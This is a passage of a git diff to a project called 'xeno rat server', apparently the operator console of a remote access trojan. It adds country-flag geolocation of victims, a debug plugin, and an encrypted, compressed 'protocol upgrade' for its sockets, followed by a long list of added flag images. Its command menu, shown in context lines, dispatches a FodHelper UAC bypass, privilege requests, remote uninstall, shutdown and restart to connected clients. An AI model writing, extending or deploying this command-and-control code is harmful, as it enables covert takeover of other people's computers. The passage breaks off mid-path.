(string i in Directory.EnumerateFiles("country_flags")) + { + if (i.EndsWith(".png")) + { + list.Images.Add(Path.GetFileName(i).Replace(".png", ""), Image.FromFile(i)); + } + + } + listView2.SmallImageList = list; + ip2countryDatabase = new DatabaseReader(Path.Combine("country_flags", "GeoLite2-Country.mmdb")); + AddLog("Started!", Color.Green); } @@ -649,7 +712,7 @@ private void AddLog(string message, Color textcolor) lvi.Text = DateTime.Now.ToString("hh:mm:ss tt"); lvi.SubItems.Add(message); lvi.ForeColor = textcolor; - listView3.BeginInvoke((MethodInvoker)(() => { listView3.Items.Add(lvi); })); + listView3.BeginInvoke((MethodInvoker)(() => { listView3.Items.Insert(0, lvi); })); } private async Task StartChat(Node client) @@ -1213,6 +1276,26 @@ private async Task StartRestart(Node client) MessageBox.Show("Error with SystemPower dll!"); } } + + private async Task StartDebugInfo(Node client) + { + try + { + Node subClient = await client.CreateSubNodeAsync(2); + if (subClient==null) + { + MessageBox.Show("Error connecting socket"); + return; + } + Application.Run(new Forms.DebugInfo(subClient)); + subClient.Disconnect(); + } + catch + { + MessageBox.Show("Error with Debug Form!"); + } + } + private void StartPlugin(Func func, Node client) { Task.Run(() => func(client)); @@ -1287,11 +1370,11 @@ public void MenuClick(Node client, string command) { StartPlugin(StartFodHelperBypass, client); } - else if (command == "Request admin") + else if (command == "Request admin") { StartPlugin(StartRequestForAdmin, client); } - else if (command == "De-escalate to user") + else if (command == "De-escalate to user") { StartPlugin(StartDeescalateperms, client); } @@ -1334,7 +1417,6 @@ public void MenuClick(Node client, string command) else if (command == "Uninstall") { StartPlugin(StartUninstall, client); - } else if (command == "Shutdown") { @@ -1344,6 +1426,10 @@ public void MenuClick(Node client, string command) { StartPlugin(StartRestart, client); } + else if (command == "Debug") + { + StartPlugin(StartDebugInfo, client); + } Console.WriteLine(command); } diff --git a/xeno rat server/Node.cs b/xeno rat server/Node.cs index b31ccfd..b967e67 100644 --- a/xeno rat server/Node.cs +++ b/xeno rat server/Node.cs @@ -15,6 +15,8 @@ public partial class Node [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int memcmp(byte[] b1, byte[] b2, long count); + private SemaphoreSlim OneRecieveAtATime = new SemaphoreSlim(1); + public bool isDisposed = false; private Action OnDisconnect; private List> TempOnDisconnects = new List>(); public List subNodes; @@ -62,7 +64,7 @@ private async Task GetSocketType() public async void Disconnect() { - //sock.Disconnect(); + isDisposed = true; try { if (sock.sock != null) @@ -75,6 +77,7 @@ public async void Disconnect() sock.sock?.Close(0); } sock.sock?.Dispose(); + OneRecieveAtATime.Dispose(); if (SockType == 0) { foreach (Node i in subNodes.ToList()) @@ -123,13 +126,25 @@ public bool Connected() } public async Task ReceiveAsync() { - byte[] data = await sock.ReceiveAsync(); - if (data == null) + if (isDisposed) { - Disconnect(); return null; } - return data; + await OneRecieveAtATime.WaitAsync(); + try + { + byte[] data = await sock.ReceiveAsync(); + if (data == null) + { + Disconnect(); + return null; + } + return data; + } + finally + { + OneRecieveAtATime.Release(); + } } public async Task SendAsync(byte[] data) { @@ -146,7 +161,10 @@ public string GetIp() try { ip= ((IPEndPoint)sock.sock.RemoteEndPoint).Address.ToString(); - } catch { } + } + catch + { + } return ip; } diff --git a/xeno rat server/SocketHandler.cs b/xeno rat server/SocketHandler.cs index ead7466..5100654 100644 --- a/xeno rat server/SocketHandler.cs +++ b/xeno rat server/SocketHandler.cs @@ -19,6 +19,7 @@ public partial class SocketHandler public Socket sock; public byte[] EncryptionKey; public int socktimeout = 0; + private bool doProtocolUpgrade = false; public SocketHandler(Socket socket, byte[] _EncryptionKey) { sock = socket; @@ -32,9 +33,6 @@ private async Task RecvAllAsync_ddos_unsafer(int size) byte[] data = new byte[size]; int total = 0; int dataLeft = size; - DateTime startTimestamp = DateTime.Now; - DateTime lastSendTime = DateTime.Now; // Initialize the last send time - while (total < size) { if (!sock.Connected) @@ -130,30 +128,57 @@ public async Task SendAsync(byte[] data) try { - data = Encryption.Encrypt(data, EncryptionKey); - byte[] compressedData = Compression.Compress(data); - byte didCompress = 0; - int orgLen = data.Length; - - if (compressedData.Length < orgLen) + if (doProtocolUpgrade) { - data = compressedData; - didCompress = 1; - } + byte[] compressedData = Compression.Compress(data); + byte didCompress = 0; + int orgLen = data.Length; - byte[] header = new byte[] { didCompress }; - if (didCompress == 1) - { - header = Concat(header, IntToBytes(orgLen)); + if (compressedData != null && compressedData.Length < orgLen) + { + data = compressedData; + didCompress = 1; + } + byte[] header = new byte[] { didCompress }; + if (didCompress == 1) + { + header = Concat(header, IntToBytes(orgLen)); + } + data = Concat(header, data); + data = Encryption.Encrypt(data, EncryptionKey); + data = Concat(new byte[] { 3 }, data);//protocol upgrade byte + byte[] size = IntToBytes(data.Length); + data = Concat(size, data); + + return (await sock.SendAsync(new ArraySegment(data), SocketFlags.None)) != 0; } + else + { + + data = Encryption.Encrypt(data, EncryptionKey); + byte[] compressedData = Compression.Compress(data); + byte didCompress = 0; + int orgLen = data.Length; + + if (compressedData.Length < orgLen) + { + data = compressedData; + didCompress = 1; + } + + byte[] header = new byte[] { didCompress }; + if (didCompress == 1) + { + header = Concat(header, IntToBytes(orgLen)); + } - data = Concat(header, data); - byte[] size = IntToBytes(data.Length); - data = Concat(size, data); + data = Concat(header, data); + byte[] size = IntToBytes(data.Length); + data = Concat(size, data); - await sock.SendAsync(new ArraySegment(data), SocketFlags.None); + return (await sock.SendAsync(new ArraySegment(data), SocketFlags.None)) != 0; + } - return true; } catch { @@ -177,11 +202,39 @@ public async Task ReceiveAsync() { return null;//disconnect } - if (data[0] == 2) + + header Header; + + if (data[0] == 3)//protocol upgrade + { + if (!doProtocolUpgrade) + { + doProtocolUpgrade = true; + } + data = BTruncate(data, 1); + data = Encryption.Decrypt(data, EncryptionKey); + if (data[0] == 2) + { + continue; + } + Header = ParseHeader(data); + if (Header == null) + { + return null;//disconnect + } + data = BTruncate(data, Header.T_offset); + if (Header.Compressed) + { + data = Compression.Decompress(data, Header.OriginalFileSize); + } + return data; + } + else if (data[0] == 2) { continue; } - header Header = ParseHeader(data); + + Header = ParseHeader(data); if (Header == null) { return null;//disconnect @@ -193,6 +246,7 @@ public async Task ReceiveAsync() } data = Encryption.Decrypt(data, EncryptionKey); return data; + } } catch diff --git a/xeno rat server/country_flags/GeoLite2-Country.mmdb b/xeno rat server/country_flags/GeoLite2-Country.mmdb new file mode 100644 index 0000000..ffe588b Binary files /dev/null and b/xeno rat server/country_flags/GeoLite2-Country.mmdb differ diff --git a/xeno rat server/country_flags/ad.png b/xeno rat server/country_flags/ad.png new file mode 100644 index 0000000..822d77c Binary files /dev/null and b/xeno rat server/country_flags/ad.png differ diff --git a/xeno rat server/country_flags/ae.png b/xeno rat server/country_flags/ae.png new file mode 100644 index 0000000..5f7bcad Binary files /dev/null and b/xeno rat server/country_flags/ae.png differ diff --git a/xeno rat server/country_flags/af.png b/xeno rat server/country_flags/af.png new file mode 100644 index 0000000..841ffe1 Binary files /dev/null and b/xeno rat server/country_flags/af.png differ diff --git a/xeno rat server/country_flags/ag.png b/xeno rat server/country_flags/ag.png new file mode 100644 index 0000000..059fc12 Binary files /dev/null and b/xeno rat server/country_flags/ag.png differ diff --git a/xeno rat server/country_flags/ai.png b/xeno rat server/country_flags/ai.png new file mode 100644 index 0000000..99e96cb Binary files /dev/null and b/xeno rat server/country_flags/ai.png differ diff --git a/xeno rat server/country_flags/al.png b/xeno rat server/country_flags/al.png new file mode 100644 index 0000000..2799bf5 Binary files /dev/null and b/xeno rat server/country_flags/al.png differ diff --git a/xeno rat server/country_flags/am.png b/xeno rat server/country_flags/am.png new file mode 100644 index 0000000..fd4bc09 Binary files /dev/null and b/xeno rat server/country_flags/am.png differ diff --git a/xeno rat server/country_flags/ao.png b/xeno rat server/country_flags/ao.png new file mode 100644 index 0000000..e7cfdfd Binary files /dev/null and b/xeno rat server/country_flags/ao.png differ diff --git a/xeno rat server/country_flags/aq.png b/xeno rat server/country_flags/aq.png new file mode 100644 index 0000000..2eaa1cd Binary files /dev/null and b/xeno rat server/country_flags/aq.png differ diff --git a/xeno rat server/country_flags/ar.png b/xeno rat server/country_flags/ar.png new file mode 100644 index 0000000..4d1b629 Binary files /dev/null and b/xeno rat server/country_flags/ar.png differ diff --git a/xeno rat server/country_flags/as.png b/xeno rat server/country_flags/as.png new file mode 100644 index 0000000..0aae7e0 Binary files /dev/null and b/xeno rat server/country_flags/as.png differ diff --git a/xeno rat server/country_flags/at.png b/xeno rat server/country_flags/at.png new file mode 100644 index 0000000..87fea89 Binary files /dev/null and b/xeno rat server/country_flags/at.png differ diff --git a/xeno rat server/country_flags/au.png b/xeno rat server/country_flags/au.png new file mode 100644 index 0000000..ac00966 Binary files /dev/null and b/xeno rat server/country_flags/au.png differ diff --git a/xeno rat server/country_flags/aw.png b/xeno rat server/country_flags/aw.png new file mode 100644 index 0000000..569c797 Binary files /dev/null and b/xeno rat server/country_flags/aw.png differ diff --git a/xeno rat server/country_flags/ax.png b/xeno rat server/country_flags/ax.png new file mode 100644 index 0000000..a107144 Binary files /dev/null and b/xeno rat server/country_flags/ax.png differ diff --git a/xeno rat server/country_flags/az.png b/xeno rat server/country_flags/az.png new file mode 100644 index 0000000..44b32a1 Binary files /dev/null and b/xeno rat server/country_flags/az.png differ diff --git a/xeno rat server/country_flags/ba.png b/xeno rat server/country_flags/ba.png new file mode 100644 index 0000000..51ab060 Binary files /dev/null and b/xeno rat server/country_flags/ba.png differ diff --git a/xeno rat server/country_flags/bb.png b/xeno rat server/country_flags/bb.png new file mode 100644 index 0000000..b73a2e6 Binary files /dev/null and b/xeno rat server/country_flags/bb.png differ diff --git a/xeno rat server/country_flags/bd.png b/xeno rat server/country_flags/bd.png new file mode 100644 index 0000000..60daf34 Binary files /dev/null and b/xeno rat server/country_flags/bd.png differ diff --git a/xeno rat server/country_flags/be.png b/xeno rat server/country_flags/be.png new file mode 100644 index 0000000..4b0d02d Binary files /dev/null and b/xeno rat server/country_flags/be.png differ diff --git a/xeno rat server/country_flags/bf.png b/xeno rat server/country_flags/bf.png new file mode 100644 index 0000000..0f1c8b7 Binary files /dev/null and b/xeno rat server/country_flags/bf.png differ diff --git a/xeno rat server/country_flags/bg.png b/xeno rat server/country_flags/bg.png new file mode 100644 index 0000000..90f6c5b Binary files /dev/null and b/xeno rat server/country_flags/bg.png differ diff --git a/xeno rat server/country_flags/bh.png b/xeno rat server/country_flags/bh.png new file mode 100644 index 0000000..870b373 Binary files /dev/null and b/xeno rat server/country_flags/bh.png differ diff --git a/xeno rat server/country_flags/bi.png b/xeno rat server/country_flags/bi.png new file mode 100644 index 0000000..4f0942a Binary files /dev/null and b/xeno rat server/country_flags/bi.png differ diff --git a/xeno rat server/country_flags/bj.png b/xeno rat server/country_flags/bj.png new file mode 100644 index 0000000..0d81aa2 Binary files /dev/null and b/xeno rat server/country_flags/bj.png differ diff --git a/xeno rat server/country_flags/bl.png b/xeno rat server/country_flags/bl.png new file mode 100644 index 0000000..0ac6047 Binary files /dev/null and b/xeno rat server/country_flags/bl.png differ diff --git a/xeno rat server/country_flags/bm.png b/xeno rat server/country_flags/bm.png new file mode 100644 index 0000000..47e90cc Binary files /dev/null and b/xeno rat server/country_flags/bm.png differ diff --git a/xeno rat server/country_flags/bn.png b/xeno rat server/country_flags/bn.png new file mode 100644 index 0000000..dec96dd Binary files /dev/null and b/xeno rat server/country_flags/bn.png differ diff --git a/xeno rat server/country_flags/bo.png b/xeno rat server/country_flags/bo.png new file mode 100644 index 0000000..0c7323f Binary files /dev/null and b/xeno rat server/country_flags/bo.png differ diff --git a/xeno rat server/country_flags/bq.png b/xeno rat server/country_flags/bq.png new file mode 100644 index 0000000..5c629ea Binary files /dev/null and b/xeno rat server/country_flags/bq.png differ diff --git a/xeno rat server/country_flags/br.png b/xeno rat server/country_flags/br.png new file mode 100644 index 0000000..e6a8478 Binary files /dev/null and b/xeno rat server/country_flags/br.png differ diff --git a/xeno rat server/country_flags/bs.png b/xeno rat server/country_flags/bs.png new file mode 100644 index 0000000..d4c89d2 Binary files /dev/null and b/xeno rat server/country_flags/bs.png differ diff --git a/xeno rat server/country_flags/bt.png b/xeno rat server/country_flags/bt.png new file mode 100644 index 0000000..ede02f7 Binary files /dev/null and b/xeno rat server/country_flags/bt.png differ diff --git a/xeno rat server/country_flags/bv.png b/xeno rat server/country_flags/bv.png new file mode 100644 index 0000000..fc243e0 Binary files /dev/null and b/xeno rat server/country_flags/bv.png differ diff --git a/xeno rat server/country_flags/bw.png b/xeno rat server/country_flags/bw.png new file mode 100644 index 0000000..5df0137 Binary files /dev/null and b/xeno rat server/country_flags/bw.png differ diff --git a/xeno rat server/country_flags/by.png b/xeno rat server/country_flags/by.png new file mode 100644 index 0000000..f69dc44 Binary files /dev/null and b/xeno rat server/country_flags/by.png differ diff --git a/xeno rat server/country_flags/bz.png b/xeno rat server/country_flags/bz.png new file mode 100644 index 0000000..ed19331 Binary files /dev/null and b/xeno rat server/country_flags/bz.png differ diff --git a/xeno rat server/country_flags/ca.png b/xeno rat server/country_flags/ca.png new file mode 100644 index 0000000..3d34299 Binary files /dev/null and b/xeno rat server/country_flags/ca.png differ diff --git a/xeno rat server/country_flags/cc.png b/xeno rat server/country_flags/cc.png new file mode 100644 index 0000000..536b23e Binary files /dev/null and b/xeno rat server/country_flags/cc.png differ diff --git a/xeno rat server/country_flags/cd.png b/xeno rat server/country_flags/cd.png new file mode 100644 index 0000000..613ebc7 Binary files /dev/null and b/xeno rat server/country_flags/cd.png differ diff --git a/xeno rat server/country_flags/cf.png b/xeno rat server/country_flags/cf.png new file mode 100644 index 0000000..76d6985 Binary files /dev/null and b/xeno rat server/country_flags/cf.png differ diff --git a/xeno rat server/country_flags/cg.png b/xeno rat server/country_flags/cg.png new file mode 100644 index 0000000..eb73457 Binary files /dev/null and b/xeno rat server/country_flags/cg.png differ diff --git a/xeno rat server/country_flags/ch.png b/xeno rat server/country_flags/ch.png new file mode 100644 index 0000000..9f3dc63 Binary files /dev/null and b/xeno rat server/country_flags/ch.png differ diff --git a/xeno rat server/country_flags/ci.png b/xeno rat server/country_flags/ci.png new file mode 100644 index 0000000..c60b5f7 Binary files /dev/null and b/xeno rat server/country_flags/ci.png differ diff --git a/xeno rat server/country_flags/ck.png b/xeno rat server/country_flags/ck.png new file mode 100644 index 0000000..8ef2120 Binary files /dev/null and b/xeno rat server/country_flags/ck.png differ diff --git a/xeno rat server/country_flags/cl.png b/xeno rat server/country_flags/cl.png new file mode 100644 index 0000000..6f1c73e Binary files /dev/null and b/xeno rat server/country_flags/cl.png differ diff --git a/xeno rat server/country_flags/cm.png b/xeno rat server/country_flags/cm.png new file mode 100644 index 0000000..b28483b Binary files /dev/null and b/xeno rat server/country_flags/cm.png differ diff --git a/xeno rat server/country_flags/cn.png b/xeno rat server/country_flags/cn.png new file mode 100644 index 0000000..b30caee Binary files /dev/null and b/xeno rat server/country_flags/cn.png differ diff --git a/xeno rat server/country_flags/co.png b/xeno rat server/country_flags/co.png new file mode 100644 index 0000000..0b47380 Binary files /dev/null and b/xeno rat server/country_flags/co.png differ diff --git a/xeno rat server/country_flags/cr.png b/xeno rat server/country_flags/cr.png new file mode 100644 index 0000000..b16076e Binary files /dev/null and b/xeno rat server/country_flags/cr.png differ diff --git a/xeno rat server/country_flags/cu.png b/xeno rat server/country_flags/cu.png new file mode 100644 index 0000000..6235eca Binary files /dev/null and b/xeno rat server/country_flags/cu.png differ diff --git a/xeno rat server/country_flags/cv.png b/xeno rat server/country_flags/cv.png new file mode 100644 index 0000000..4343296 Binary files /dev/null and b/xeno rat server/country_flags/cv.png differ diff --git a/xeno rat server/country_flags/cw.png b/xeno rat server/country_flags/cw.png new file mode 100644 index 0000000..208b497 Binary files /dev/null and b/xeno rat server/country_flags/cw.png differ diff --git a/xeno rat server/country_flags/cx.png b/xeno rat server/country_flags/cx.png new file mode 100644 index 0000000..0d8f556 Binary files /dev/null and b/xeno rat server/country_flags/cx.png differ diff --git a/xeno rat server/country_flags/cy.png b/xeno rat server/country_flags/cy.png new file mode 100644 index 0000000..8c10199 Binary files /dev/null and b/xeno rat server/country_flags/cy.png differ diff --git a/xeno rat server/country_flags/cz.png b/xeno rat server/country_flags/cz.png new file mode 100644 index 0000000..475f070 Binary files /dev/null and b/xeno rat server/country_flags/cz.png differ diff --git a/xeno rat server/country_flags/de.png b/xeno rat server/country_flags/de.png new file mode 100644 index 0000000..736789b Binary files /dev/null and b/xeno rat server/country_flags/de.png differ diff --git a/xeno rat server/country_flags/dj.png b/xeno rat server/country_flags/dj.png new file mode 100644 index 0000000..ddf3f95 Binary files /dev/null and b/xeno rat server/country_flags/dj.png differ diff --git a/xeno rat server/country_flags/dk.png b/xeno rat server/country_flags/dk.png new file mode 100644 index 0000000..c1769a3 Binary files /dev/null and b/xeno rat server/country_flags/dk.png differ diff --git a/xeno rat server/country_flags/dm.png b/xeno rat server/country_flags/dm.png new file mode 100644 index 0000000..22db1f1 Binary files /dev/null and b/xeno rat server/country_flags/dm.png differ diff --git a/xeno rat server/country_flags/do.png b/xeno rat server/country_flags/do.png new file mode 100644 index 0000000..0c07672 Binary files /dev/null and b/xeno rat server/country_flags/do.png differ diff --git a/xeno rat server/country_flags/dz.png b/xeno rat server/country_flags/dz.png new file mode 100644 index 0000000..4d2e144 Binary files /dev/null and b/xeno rat server/country_flags/dz.png differ diff --git a/xeno rat server/country_flags/ec.png b/xeno rat server/country_flags/ec.png new file mode 100644 index 0000000..3b2c99f Binary files /dev/null and b/xeno rat server/country_flags/ec.png differ diff --git a/xeno rat server/country_flags/ee.png b/xeno rat server/country_flags/ee.png new file mode 100644 index 0000000..b383e8b Binary files /dev/null and b/xeno rat server/country_flags/ee.png differ diff --git a/xeno rat server/country_flags/eg.png b/xeno rat server/country_flags/eg.png new file mode 100644 index 0000000..b97ec2c Binary files /dev/null and b/xeno rat server/country_flags/eg.png differ diff --git a/xeno rat server/country_flags/eh.png b/xeno rat server/country_flags/eh.png new file mode 100644 index 0000000..d340087 Binary files /dev/null and b/xeno rat server/country_flags/eh.png differ diff --git a/xeno rat server/country_flags/er.png b/xeno rat server/country_flags/er.png new file mode 100644 index 0000000..bc13889 Binary files /dev/null and b/xeno rat server/country_flags/er.png differ diff --git a/xeno rat server/country_flags/es.png b/xeno rat server/country_flags/es.png new file mode 100644 index 0000000..3db77c5 Binary files /dev/null and b/xeno rat server/country_flags/es.png differ diff --git a/xeno rat server/country_flags/et.png b/xeno rat server/country_flags/et.png new file mode 100644 index 0000000..ec0a9c4 Binary files /dev/null and b/xeno rat server/country_flags/et.png differ diff --git a/xeno rat server/country_flags/fi.png b/xeno rat server/country_flags/fi.png new file mode 100644 index 0000000..f59ebbd Binary files /dev/null and b/xeno rat server/country_flags/fi.png differ diff --git a/xeno rat server/country_flags/fj.png b/xeno rat server/country_flags/fj.png new file mode 100644 index 0000000..0cc4b34 Binary files /dev/null and b/xeno rat server/country_flags/fj.png differ diff --git a/xeno rat server/country_flags/fk.png b/xeno rat server/country_flags/fk.png new file mode 100644 index 0000000..99628e3 Binary files /dev/null and b/xeno rat server/country_flags/fk.png differ diff --git a/xeno rat server/country_flags/fm.png b/xeno rat server/country_flags/fm.png new file mode 100644 index 0000000..881b989 Binary files /dev/null and b/xeno rat server/country_flags/fm.png differ diff --git a/xeno rat server/country_flags/fo.png b/xeno rat server/country_flags/fo.png new file mode 100644 index 0000000..66e024a Binary files /dev/null and b/xeno rat server/country_flags/fo.png differ diff --git a/xeno rat server/country_flags/fr.png b/xeno rat server/country_flags/fr.png new file mode 100644 index 0000000..f94276a Binary files /dev/null and b/xeno rat server/country_flags/fr.png differ diff --git a/xeno rat server/country_flags/ga.png b/xeno rat server/country_flags/ga.png new file mode 100644 index 0000000..3d74667 Binary files /dev/null and b/xeno rat server/country_flags/ga.png differ diff --git a/xeno rat server/country_flags/gb-eng.png b/xeno rat server/country_flags/gb-eng.png new file mode 100644 index 0000000..96ca559 Binary files /dev/null and b/xeno rat server/country_flags/gb-eng.png differ diff --git a/xeno rat server/country_flags/gb-nir.png b/xeno rat server/country_flags/gb-nir.png new file mode 100644 index 0000000..5815bd2 Binary files /dev/null and b/xeno rat server/country_flags/gb-nir.png differ diff --git a/xeno rat server/country_flags/gb-sct.png b/xeno rat server/country_flags/gb-sct.png new file mode 100644 index 0000000..149ddaa Binary files /dev/null and b/xeno rat server/country_flags/gb-sct.png differ diff --git a/xeno rat server/country_flags/gb-wls.png b/xeno rat server/country_flags/gb-wls.png new file mode 100644 index 0000000..64164fe Binary files /dev/null and b/xeno rat server/country_flags/gb-wls.png differ diff --git a/xeno rat server/country_flags/gb.png b/xeno rat server/country_flags/gb.png new file mode 100644 index 0000000..49cc641 Binary files /dev/null and b/xeno rat server/country_flags/gb.png differ diff --git a/xeno rat server/country_flags/gd.png b/xeno rat server/country_flags/gd.png new file mode 100644 index 0000000..2c510d5 Binary files /dev/null and b/xeno rat server/country_flags/gd.png differ diff --git a/xeno rat server/country_flags/ge.png b/xeno rat server/country_flags/ge.png new file mode 100644 index 0000000..ba0da44 Binary files /dev/null and b/xeno rat server/country_flags/ge.png differ diff --git a/xeno rat server/country_flags/gf.png b/xeno rat server/country_flags/gf.png new file mode 100644 index 0000000..4dcc53b Binary files /dev/null and b/xeno rat server/country_flags/gf.png differ diff --git a/xeno rat server/country_flags/gg.png b/xeno rat server/country_flags/gg.png new file mode 100644 index 0000000..18d364a Binary files /dev/null and b/xeno rat server/country_flags/gg.png differ diff --git a/xeno rat server/country_flags/gh.png b/xeno rat server/country_flags/gh.png new file mode 100644 index 0000000..eb26444 Binary files /dev/null and b/xeno rat server/country_flags/gh.png differ diff --git a/xeno rat server/country_flags/gi.png b/xeno rat server/country_flags/gi.png new file mode 100644 index 0000000..ba17ee9 Binary files /dev/null and b/xeno rat server/country_flags/gi.png differ diff --git a/xeno rat server/country_flags/gl.png b/xeno rat server/country_flags/gl.png new file mode 100644 index 0000000..115b632 Binary files /dev/null and b/xeno rat server/country_flags/gl.png differ diff --git a/xeno rat server/country_flags/gm.png b/xeno rat server/country_flags/gm.png new file mode 100644 index 0000000..efe1508 Binary files /dev/null and b/xeno rat server/country_flags/gm.png differ diff --git a/xeno rat server/country_flags/gn.png b/xeno rat server/country_flags/gn.png new file mode 100644 index 0000000..6f6b3af Binary files /dev/null and b/xeno rat server/country_flags/gn.png differ diff --git a/xeno rat server/country_flags/gp.png b/xeno rat server/country_flags/gp.png new file mode 100644 index 0000000..d7d8fb3 Binary files /dev/null and b/xeno rat server/country_flags/gp.png differ diff --git a/xeno rat server/country_flags/gq.png b/xeno rat server/country_flags/gq.png new file mode 100644 index 0000000..2fd8ff6 Binary files /dev/null and b/xeno rat server/country_flags/gq.png differ diff --git a/xeno rat server/country_flags/gr.png b/xeno rat server/country_flags/gr.png new file mode 100644 index 0000000..0972b09 Binary files /dev/null and b/xeno rat server/country_flags/gr.png differ diff --git a/xeno rat server/country_flags/gs.png b/xeno rat server/country_flags/gs.png new file mode 100644 index 0000000..b807d69 Binary files /dev/null and b/xeno rat server/country_flags/gs.png differ diff --git a/xeno rat server/country_flags/gt.png b/xeno rat server/country_flags/gt.png new file mode 100644 index 0000000..53c513f Binary files /dev/null and b/xeno rat server/country_flags/gt.png differ diff --git a/xeno rat server/country_flags/gu.png b/xeno rat server/country_flags/gu.png new file mode 100644 index 0000000..1383e70 Binary files /dev/null and b/xeno rat server/country_flags/gu.png differ diff --git a/xeno rat server/country_flags/gw.png b/xeno rat server/country_flags/gw.png new file mode 100644 index 0000000..64d5eb6 Binary files /dev/null and b/xeno rat server/country_flags/gw.png differ diff --git a/xeno rat server/country_flags/gy.png b/xeno rat server/country_flags/gy.png new file mode 100644 index 0000000..3a8f002 Binary files /dev/null and b/xeno rat server/country_flags/gy.png differ diff --git a/xeno rat server/country_flags/hk.png b/xeno rat server/country_flags/hk.png new file mode 100644 index 0000000..0dd0c1d Binary files /dev/null and b/xeno rat server/country_flags/hk.png differ diff --git a/xeno rat server/country_flags/hm.png b/xeno rat server/country_flags/hm.png new file mode 100644 index 0000000..fa0dedb Binary files /dev/null and b/xeno rat server/country_flags/hm.png differ diff --git a/xeno rat server/country_flags/hn.png b/xeno rat server/country_flags/hn.png new file mode 100644 index 0000000..f89c031 Binary files /dev/null and b/xeno rat server/country_flags/hn.png differ diff --git a/xeno rat server/country_flags/hr.png b/xeno rat server/country_flags/hr.png new file mode 100644 index 0000000..1758637 Binary files /dev/null and b/xeno rat server/country_flags/hr.png differ diff --git a/xeno rat server/country_flags/ht.png b/xeno rat server/country_flags/ht.png new file mode 100644 index 0000000..dc0be35 Binary files /dev/null and b/xeno rat server/country_flags/ht.png differ diff --git a/xeno rat server/country_flags/hu.png b/xeno rat server/country_flags/hu.png new file mode 100644 index 0000000..5803fed Binary files /dev/null and b/xeno rat server/country_flags/hu.png differ diff --git a/xeno rat server/country_flags/id.png b/xeno rat server/country_flags/id.png new file mode 100644 index 0000000..9b0b929 Binary files /dev/null and b/xeno rat server/country_flags/id.png differ diff --git a/xeno rat server/country_flags/ie.png b/xeno rat server/country_flags/ie.png new file mode 100644 index 0000000..b5c646a Binary files /dev/null and b/xeno rat server/country_flags/ie.png differ diff --git a/xeno rat server/country_flags/il.png b/xeno rat server/country_flags/il.png new file mode 100644 index 0000000..4f3e839 Binary files /dev/null and b/xeno rat server/country_flags/il.png differ diff --git a/xeno rat server/country_flags/im.png b/xeno rat server/country_flags/im.png new file mode 100644 index 0000000..24793be Binary files /dev/null and b/xeno rat server/country_flags/im.png differ diff --git a/xeno rat server/country_flags/in.png b/xeno rat server/country_flags/in.png new file mode 100644 index 0000000..631cd2a Binary files /dev/null and b/xeno rat server/country_flags/in.png differ diff --git a/xeno rat server/country_flags/io.png b/xeno rat server/country_flags/io.png new file mode 100644 index 0000000..aa3412d Binary files /dev/null and b/xeno rat server/country_flags/io.png differ diff --git a/xeno rat server/country_flags/iq.png b/xeno rat server/country_flags/iq.png new file mode 100644 index 0000000..8e22282 Binary files /dev/null and b/xeno rat server/country_flags/iq.png differ diff --git a/xeno rat server/country_flags/ir.png b/xeno rat server/country_flags/ir.png new file mode 100644 index 0000000..a87ebff Binary files /dev/null and b/xeno rat server/country_flags/ir.png differ diff --git a/xeno rat server/country_flags/is.png b/xeno rat server/country_flags/is.png new file mode 100644 index 0000000..024a098 Binary files /dev/null and b/xeno rat server/country_flags/is.png differ diff --git a/xeno rat server/country_flags/it.png b/xeno rat server/country_flags/it.png new file mode 100644 index 0000000..5992046 Binary files /dev/null and b/xeno rat server/country_flags/it.png differ diff --git a/xeno rat server/country_flags/je.png b/xeno rat server/country_flags/je.png new file mode 100644 index 0000000..93ea530 Binary files /dev/null and b/xeno rat server/country_flags/je.png differ diff --git a/xeno rat server/country_flags/jm.png b/xeno rat server/country_flags/jm.png new file mode 100644 index 0000000..186cc7c Binary files /dev/null and b/xeno rat server/country_flags/jm.png differ diff --git a/xeno rat server/country_flags/jo.png b/xeno rat server/country_flags/jo.png new file mode 100644 index 0000000..a891a7f Binary files /dev/null and b/xeno rat server/country_flags/jo.png differ diff --git a/xeno rat server/country_flags/jp.png b/xeno rat server/country_flags/jp.png new file mode 100644 index 0000000..ac2bee0 Binary files /dev/null and b/xeno rat server/country_flags/jp.png differ diff --git a/xeno rat server/country_flags/ke.png b/xeno rat server/country_flags/ke.png new file mode 100644 index 0000000..244bc19 Binary files /dev/null and b/xeno rat server/country_flags/ke.png differ diff --git a/xeno rat server/country_flags/kg.png b/xeno rat server/country_flags/kg.png new file mode 100644 index 0000000..e1ecb60 Binary files /dev/null and b/xeno rat server/country_flags/kg.png differ diff --git a/xeno rat server/country_flags/kh.png b/xeno rat server/country_flags/kh.png new file mode 100644 index 0000000..87b8ec0 Binary files /dev/null and b/xeno rat server/country_flags/kh.png differ diff --git a/xeno rat server/country_flags/ki.png b/xeno rat server/country_flags/ki.png new file mode 100644 index 0000000..3fae9e3 Binary files /dev/null and b/xeno rat server/country_flags/ki.png differ diff --git a/xeno rat server/country_flags/km.png b/xeno rat server/country_flags/km.png new file mode 100644 index 0000000..cba9450 Binary files /dev/null and b/xeno rat server/country_flags/km.png differ diff --git a/xeno rat server/country_flags/kn.png b/xeno rat server/country_flags/kn.png new file mode 100644 index 0000000..f8cab35 Binary files /dev/null and b/xeno rat server/country_flags/kn.png differ diff --git a/xeno rat server/country_flags/kp.png b/xeno rat server/country_flags/kp.png new file mode 100644 index 0000000..7ebfc41 Binary files /dev/null and b/xeno rat server/country_flags/kp.png differ diff --git a/xeno rat server/country_flags/kr.png b/xeno rat server/country_flags/kr.png new file mode 100644 index 0000000..3309c98 Binary files /dev/null and b/xeno rat server/country_flags/kr.png differ diff --git a/xeno rat server/country_flags/kw.png b/xeno rat server/country_flags/kw.png new file mode 100644 index 0000000..ab7876e Binary files /dev/null and b/xeno rat server/country_flags/kw.png differ diff --git a/xeno rat server/country_flags/ky.png b/xeno rat server/country_flags/ky.png new file mode 100644 index 0000000..5520dcb Binary files /dev/null and b/xeno rat server/country_flags/ky.png differ diff --git a/xeno rat server/country_flags/kz.png b/xeno rat server/country_flags/kz.png new file mode 100644 index 0000000..d391f50 Binary files /dev/null and b/xeno rat server/country_flags/kz.png differ diff --git a/xeno rat server/country_flags/la.png b/xeno rat server/country_flags/la.png new file mode 100644 index 0000000..fd8f2d1 Binary files /dev/null and b/xeno rat server/country_flags/la.png differ diff --git a/xeno rat server/country_flags/lb.png b/xeno rat server/country_flags/lb.png new file mode 100644 index 0000000..7b37488 Binary files /dev/null and b/xeno rat server/country_flags/lb.png differ diff --git a/xeno rat server/country_flags/lc.png b/xeno rat 